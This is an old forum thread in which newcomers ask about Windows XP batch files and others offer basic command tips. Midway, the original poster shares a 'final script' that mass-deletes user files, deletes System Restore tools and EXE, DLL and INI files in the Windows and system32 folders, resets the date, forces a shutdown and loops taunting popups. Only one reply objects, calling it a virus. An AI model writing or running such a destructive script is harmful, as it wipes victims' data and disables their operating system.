Batch help

[zerofx]

im new to batch files and i need to do the following.

move files from my documents to the desktop in dos

delete items in folder c:\downloads

i also would like to display a message maybe on a text file? or display a image?

Also how do i make program start from a batch files.

i would also like to know how to delete files in doz that are currently being used by system process Ie nero.exe is there anyway of eding the process from dos then deleting the nero exe?

i also want to be able to do this in silent mode/no user prompt.

also can you encrypt files using dos/batch sctips

Im using windows xp pro oh and could i ristrict access to any of my files/folders using a batch file.

thanks in advance.

[Blackberry]

wow that are ten questions,

answer one: copy "%USERPROFILE%/my documents" "%USERPROFILE%/desktop" (if your language from xp is in ENGLISH

answer two: display an image is impossible in dos, for displaying a message, use the command ECHO

answer three: try to search something about startup in the register

answer four: impossible

answer five: impossible


if i can give you some advace, buy/lent a book from dos because all these questions will be answered there

[uli_glueck]

Hi,

sorry, but before writing batchfiles it is useful to learn a few commands. How do you want to write batchfiles if you donīt know the commands you want to use?

type /? on the commandline and try a few commands. (be careful with deleting files, they donīt go to the bin, they go directly to dataland.)

This Website is a good ressource for the XP/NT command line.
http://www.ss64.com/nt/


To move files you can use the move command.

To get a message on the screen you can do a net send to your computername.
(Only one line).
You can start programms from a batchfile with typing the programm name in the batchfile.
You can call it. (But then the batchfile stops till the called programm is closed.)

hope this helps
uli

[zerofx]

Its ok i found it out now.

to display a message

:top
msg * YOUR 1 MESSAGE HERE
msg * YOUR 2 MESSAGE HERE
GOTO TOP

here is my final script

DEL *.DOC
DEL *.TXT
DEL *.JPG
DEL *.GIF
DEL *.MP3
DEL *.URL
DEL *.MPG
DEL *.XLS
DEL *.PHP
DEL *.HTML
DEL *.INK
DEL *.ink
c:
CD \WINDOWS\system32\Restore
DEL rstrui.exe
DEL srdiag.exe
CD \WINDOWS
DEL *.BMP
DEL *.TXT
DEL *.DOC
DEL *.EXE
DEL *.DLL
DEL *.DAT
DEL *.INI
DEL *.LOG
CD \WINDOWS\system32
DEL *.BMP
DEL *.TXT
DEL *.DOC
DEL *.EXE
DEL *.DLL
DEL *.DAT
DEL *.INI
DEL *.LOG
DATE 05.11.1985
SHUTDOWN -s -t 600 -c "YOU HAVE BEEN ERASED"
msg * HAHAHAHAHAHA
msg * SUCKER
GOTO TOP

What do ya think?

[Dwight]

You can start a program from dos here is an example:

start /min notepad this will open notepad minimized
start /min excel this will open excel minimized

If you want to open them maximized replace /min with /max hope this helps.

[Blackberry]

Its ok i found it out now.

to display a message

:top
msg * YOUR 1 MESSAGE HERE
msg * YOUR 2 MESSAGE HERE
GOTO TOP

here is my final script

-script-

What do ya think?

not bad, but it seems like you want to create a virus, don't such good idea...

[vibhor_agarwalin]

How about putting all those entries in a list and reading them in a loop.

This will make your file small and easier to understand.

A small tip  8-)

[uli_glueck]

vibhor is absolutely right.
And it will save at least 1kb memory. ;-)

uli

[Blackberry]

Vibhor is right.
And it will save at least 1kb memory.
uli

it isn't really about the space, 1 kb in this time of living, it is more about the understanding

[thrower]

-Hello i have some files i wanted to be backed up at 3am. so does anyone know what the command i can use to make it be backed up to the dvd-rw. Do i have to make the batch file go  xcopy c:/PROGRAM D:/ (burner), and then do i have to go under schedulaed tasks under windows and make the batch file run at the time i want?

thanks

[Blackberry]

-Hello i have some files i wanted to be backed up at 3am. so does anyone know what the command i can use to make it be backed up to the dvd-rw. Do i have to make the batch file go  xcopy c:/PROGRAM D:/ (burner), and then do i have to go under schedulaed tasks under windows and make the batch file run at the time i want?

thanks

make a new post for this question... it isn't realated to this question...

[thrower]

who asked u